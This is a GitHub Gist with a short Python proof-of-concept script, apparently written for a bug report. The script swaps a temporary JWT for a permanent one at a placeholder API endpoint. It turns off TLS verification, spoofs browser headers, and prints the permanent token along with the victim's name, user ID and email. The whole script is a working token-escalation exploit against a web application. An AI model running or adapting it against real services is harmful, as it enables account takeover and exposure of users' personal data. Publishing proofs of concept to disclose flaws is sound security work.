Last active
January 28, 2019 11:15
-
-
Save shawarkhanethicalhacker/ee910b76752f3d87ee0105aca64957f0 to your computer and use it in GitHub Desktop.
A little automation for obtaining JWT token for a POC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# A sample code that obtains a permanent JWT token when provided a temporary JWT token | |
import json | |
import requests | |
import sys | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
jwt_token=raw_input("Enter token > ") | |
exploit_url = "https://secure.site.com:443/aapi/v1/authentications/token" | |
exploit_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "https://www.site.com", "authorization": "Bearer "+str(jwt_token), "content-type": "application/json", "origin": "https://www.site.com", "Connection": "clos"} | |
retrieve_token = requests.get(exploit_url, headers=exploit_headers,verify=False) | |
if retrieve_token.status_code==200: | |
s=json.loads(retrieve_token.text) | |
print '[+] Token valid!' | |
print '[i] Retrieving information:' | |
print '\n[*] Permanent JWT Token: %s\n[*] First name: %s\n[*] Last name: %s\n[*] User ID: %s\n[*] Email Addr: %s'%(s['jwt_token'],s['user']['first_name'],s['user']['last_name'],s['user']['id'],s['user']['email']) | |
else: | |
print 'One-time token expired, try to retrieve token again.' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment